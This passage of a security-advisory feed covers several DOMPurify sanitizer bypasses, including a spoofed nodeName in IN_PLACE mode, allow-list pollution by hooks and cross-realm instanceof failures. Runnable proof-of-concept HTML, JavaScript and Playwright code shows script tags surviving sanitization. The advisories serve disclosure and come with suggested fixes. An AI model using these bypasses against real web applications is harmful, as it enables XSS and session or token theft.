});\n}\n```","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:02:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr","https://github.com/advisories/GHSA-gvmj-g25r-r7wr"],"source_kind":"github","identifiers":["GHSA-gvmj-g25r-r7wr","CVE-2026-65900"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.609Z","updated_at":"2026-10-26T21:02:58.691Z","epss_percentage":0.0031,"epss_percentile":0.23603,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.8","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.4.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","url":"https://github.com/advisories/GHSA-rp9w-3fw7-7cwq","title":"DOMPurify IN_PLACE Sanitization Bypass via Attached Shadow Root Inside \u003ctemplate\u003e.content","description":"If the HTML you give it contains a \u003ctemplate\u003e element, and inside that template there's an element with a shadow DOM attached to it, DOMPurify quietly skips over the shadow contents. Whatever the attacker put in there - an image with an onerror handler, a link with a javascript: URL, even a full script - survives untouched. The moment the application uses that template the way templates are meant to be used (cloning it and inserting the result into the page), the malicious payload comes along and runs as if it had never been sanitized. From there an attacker gets everything XSS normally gets them: session cookies, stored tokens, the ability to act as the user, and the ability to leave persistent payloads behind for the next person who visits.\n\n[advisory.pdf](https://github.com/user-attachments/files/28275600/advisory.pdf)\n\n[poc.html](https://github.com/user-attachments/files/28275708/poc.html)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T20:01:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq","https://github.com/advisories/GHSA-rp9w-3fw7-7cwq"],"source_kind":"github","identifiers":["GHSA-rp9w-3fw7-7cwq","CVE-2026-49978"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.609Z","updated_at":"2026-10-24T21:02:43.103Z","epss_percentage":0.00404,"epss_percentile":0.33532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003c= 3.4.6"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","url":"https://github.com/advisories/GHSA-x4vx-rjvf-j5p4","title":"DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects","description":"## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003cscript\u003e` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n  - same-origin `iframe` → live node passed by reference\n  - same-origin `window.open()` popup → live node passed by reference\n  - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n  ...\n  if (_isClobbered(currentNode)) {\n    _forceRemove(currentNode);\n    return true;\n  }\n\n  const tagName = transformCaseFunc(currentNode.nodeName);\n  ...\n  if (\n    FORBID_TAGS[tagName] ||\n    (!(...) \u0026\u0026 !ALLOWED_TAGS[tagName])\n  ) {\n    ...\n    _forceRemove(currentNode);\n    return true;\n  }\n  ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] — `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  const realTagName = getNodeName ? getNodeName(element) : null;\n  if (typeof realTagName !== 'string') {\n    return false;\n  }\n\n  if (transformCaseFunc(realTagName) !== 'form') {\n    return false;\n  }\n\n  return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003cscript\u003e`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003cscript\u003e` child as an allowed element\n- the real `\u003cscript\u003e` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const foreign = window.open('about:blank', '_blank', 'noopener=no');\n\n  const host = foreign.document.createElement('div');\n  const script = foreign.document.createElement('script');\n  script.textContent = 'window.__pwned = 1';\n  Object.defineProperty(script, 'nodeName', {\n    value: 'DIV',\n    configurable: true,\n  });\n  host.appendChild(script);\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  console.log('output:', host.outerHTML);\n  // \u003cdiv\u003e\u003cscript\u003ewindow.__pwned = 1\u003c/script\u003e\u003c/div\u003e\n\n  window.__pwned = 0;\n  document.body.appendChild(host);\n  console.log('handler fired:', window.__pwned === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.goto('about:blank');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(async () =\u003e {\n    window.__hits = [];\n\n    const foreign = window.open('about:blank', '_blank', 'noopener=no');\n    const host = foreign.document.createElement('div');\n    const script = foreign.document.createElement('script');\n    script.textContent = 'top.__hits.push(\"script-fired\")';\n    Object.defineProperty(script, 'nodeName', {\n      value: 'DIV',\n      configurable: true,\n    });\n    host.appendChild(script);\n\n    DOMPurify.sanitize(host, { IN_PLACE: true });\n    document.body.appendChild(host);\n\n    return {\n      version: DOMPurify.version,\n      output: host.outerHTML,\n      fired: window.__hits.includes('script-fired'),\n    };\n  });\n\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n  version: '3.4.6',\n  output: '\u003cdiv\u003e\u003cscript\u003etop.__hits.push(\"script-fired\")\u003c/script\u003e\u003c/div\u003e',\n  fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003cscript\u003e` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003cscript\u003e` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:00:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4","https://github.com/advisories/GHSA-x4vx-rjvf-j5p4"],"source_kind":"github","identifiers":["GHSA-x4vx-rjvf-j5p4","CVE-2026-65901"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-10-26T21:02:58.692Z","epss_percentage":0.00285,"epss_percentile":0.20867,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.4.6"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","url":"https://github.com/advisories/GHSA-76mc-f452-cxcm","title":"DOMPurify: Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`","description":"# Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`\n\n**CWE**: CWE-501 (Trust Boundary Violation — hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure — the default allow-list is silently widened for all subsequent sanitize calls)\n\n## Summary\n\nThe `data.allowedTags` and `data.allowedAttributes` fields passed to `uponSanitizeElement` and `uponSanitizeAttribute` hooks are **direct references** to the library's live `ALLOWED_TAGS` / `ALLOWED_ATTR` sets. For sanitize calls that don't supply an explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array, those live sets are themselves direct references to the module-level `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` constants. A hook that mutates these fields — a natural-looking pattern for \"allow `X` for this iteration\" — permanently writes new entries into the default constants for the DOMPurify instance's lifetime. Every subsequent sanitize call that doesn't override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. `removeAllHooks()`, `clearConfig()`, and even passing a fresh `cfg: {}` do not recover; only constructing a new DOMPurify instance does.\n\nThe maintainer's existing defense at `src/purify.ts:696-700` explicitly clones `DEFAULT_ALLOWED_TAGS` before mutating it via `cfg.ADD_TAGS` (array form), demonstrating awareness of this exact class. The hook path remained uncovered.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `7996f1dc78eb8b7922388aed75d94a9f8fad9a36`\n- Any application that installs a hook on `uponSanitizeElement` or `uponSanitizeAttribute` that writes to `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true` and later sanitizes attacker-influenced content with default config (no explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array)\n\n## Vulnerability details\n\n### [A] — `data.allowedTags` is a reference to `ALLOWED_TAGS`\n\n`src/purify.ts:1206-1209`:\n\n```ts\n_executeHooks(hooks.uponSanitizeElement, currentNode, {\n  tagName,\n  allowedTags: ALLOWED_TAGS,         // [A] direct reference; hook mutation\n                                      //     mutates the very ALLOWED_TAGS the\n                                      //     library checks on the next element\n});\n```\n\n`src/purify.ts:1494-1500` (the matching attribute hook):\n\n```ts\nconst hookEvent = {\n  attrName: '',\n  attrValue: '',\n  keepAttr: true,\n  allowedAttributes: ALLOWED_ATTR,    // [A'] same pattern\n  forceKeepAttr: undefined,\n};\n```\n\n### [B] — `ALLOWED_TAGS = DEFAULT_ALLOWED_TAGS` for default-cfg sanitize calls\n\n`src/purify.ts:527-531`:\n\n```ts\nALLOWED_TAGS =\n  objectHasOwnProperty(cfg, 'ALLOWED_TAGS') \u0026\u0026\n  arrayIsArray(cfg.ALLOWED_TAGS)\n    ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc)\n    : DEFAULT_ALLOWED_TAGS;            // [B] reference assignment; ALLOWED_TAGS\n                                       //     IS the DEFAULT_ALLOWED_TAGS object\n```\n\n(The `ALLOWED_ATTR = DEFAULT_ALLOWED_ATTR` path at `:532-536` is symmetric.)\n\n### The mismatch\n\nA hook author who writes `data.allowedTags['script'] = true` reasonably expects per-call scope — the API name is *\"data\"*, suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook's mutation therefore writes to a *constant* that every subsequent default-cfg sanitize call rebinds to.\n\nThe maintainer already recognized this class for the `ADD_TAGS` array path — `src/purify.ts:696-700`:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);   // explicitly clone DEFAULT before\n                                          // mutating to avoid this pollution\n  }\n  addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe same defensive clone is missing from the hook code paths.\n\n## Proof of concept\n\n```js\n// 1) fresh DOMPurify, default config — script is blocked\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003c/svg\u003e\"\n\n// 2) install a hook that mutates data.allowedTags (natural-looking pattern)\nDOMPurify.addHook('uponSanitizeElement', (node, data) =\u003e {\n  data.allowedTags['script'] = true;\n});\n\n// 3) one sanitize call WITH the hook — script survives (expected during the hook)\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\"\n\n// 4) remove the hook\nDOMPurify.removeAllHooks();\nDOMPurify.clearConfig();\n\n// 5) sanitize attacker content with default config — POLLUTION PERSISTS\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\"  ← script survived without any hook\n\n// 6) the only recovery: create a fresh DOMPurify instance\nconst fresh = DOMPurify(window);\nfresh.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003c/svg\u003e\"  ← clean\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify HEAD `7996f1d`):\n\n| step | input | output | bypass? |\n|---|---|---|---|\n| 1 fresh baseline | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 1b fresh baseline | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n| 2 with hook (script) | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | yes (expected) |\n| 2b with hook (onclick) | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | yes (expected) |\n| 3 after `removeAllHooks()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES (pollution)** |\n| 3b after `removeAllHooks()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES (pollution)** |\n| 4 after `clearConfig()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 4b after `clearConfig()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 5 explicit restrictive `cfg.ALLOWED_TAGS=['svg']` | same | `\u003csvg\u003e\u003c/svg\u003e` | no (cloned set) |\n| 6 back to no cfg | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 6b back to no cfg | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 7 fresh `DOMPurify(window)` instance | same | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 7b fresh instance | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n\n## Impact\n\n### Direct\n\nAny application using `DOMPurify` that has any registered hook with the pattern `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true`. The hook need not be designed to be permissive — it might be intended to *temporarily* allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:\n\n- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain `DOMPurify.sanitize(text)`)\n- third-party libraries that call `DOMPurify.sanitize` on the same instance\n\nThe bypass survives `DOMPurify.removeAllHooks()` and `DOMPurify.clearConfig()` — the obvious \"reset\" calls a dev would reach for. Detection requires reading the `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` sets directly, which are not part of the public API.\n\n### Indirect / second-order\n\n- **Editor / preview libraries** that compose with DOMPurify — if any consumer registers a hook that mutates `data.allowedTags`, every other consumer's sanitize calls inherit the widening.\n- **Test suites** that exercise multiple sanitize configurations — once a test's hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions.\n- **Long-running servers** (SSR, edge functions) that reuse a single DOMPurify instance — pollution accumulates over the process lifetime.\n\n### Why the existing maintainer defense for `ADD_TAGS` doesn't catch this\n\n`src/purify.ts:696-700` already documents awareness:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n  addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe clone-before-mutate pattern is exactly what's needed at the hook callsites (`:1206-1209` and `:1494-1500`) but was not extended there. The new entries this report's bypass adds to the defaults survive the same way `ADD_TAGS` array entries would have survived before that fix landed.\n\n## Suggested fix\n\nThree minimal-impact options, in order of preference:\n\n1. **Hand the hook a defensive copy** (most surgical):\n\n   ```ts\n   _executeHooks(hooks.uponSanitizeElement, currentNode, {\n     tagName,\n     allowedTags: { ...ALLOWED_TAGS },     // shallow copy; mutations stay scoped\n   });\n   ```\n\n   Doc note: \"`data.allowedTags` is a snapshot; to widen the live set, use `cfg.ADD_TAGS` or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook.\" Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).\n\n2. **Clone-on-write inside the hook path**, mirroring the existing `ADD_TAGS` defense at `:696-700`: detect that `ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS` after the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage.\n\n3. **Lazy-clone `ALLOWED_TAGS`/`ALLOWED_ATTR` from defaults on first mutation**: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.\n\nOption (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:59:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm","https://github.com/advisories/GHSA-76mc-f452-cxcm"],"source_kind":"github","identifiers":["GHSA-76mc-f452-cxcm","CVE-2026-65902"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-10-26T21:02:58.692Z","epss_percentage":0.00355,"epss_percentile":0.2895,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003c 3.4.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","url":"https://github.com/advisories/GHSA-hpcv-96wg-7vj8","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound — false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== 'string' ||\n      typeof element.textContent !== 'string' ||\n      typeof element.removeChild !== 'function' ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound\n      typeof element.removeAttribute !== 'function' ||\n      typeof element.setAttribute !== 'function' ||\n      typeof element.namespaceURI !== 'string' ||\n      typeof element.insertBefore !== 'function' ||\n      typeof element.hasChildNodes !== 'function' ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number'))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 — cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div'); div.id = 'dirty';\n  const form = idoc.createElement('form');\n  form.setAttribute('onmouseover',\n    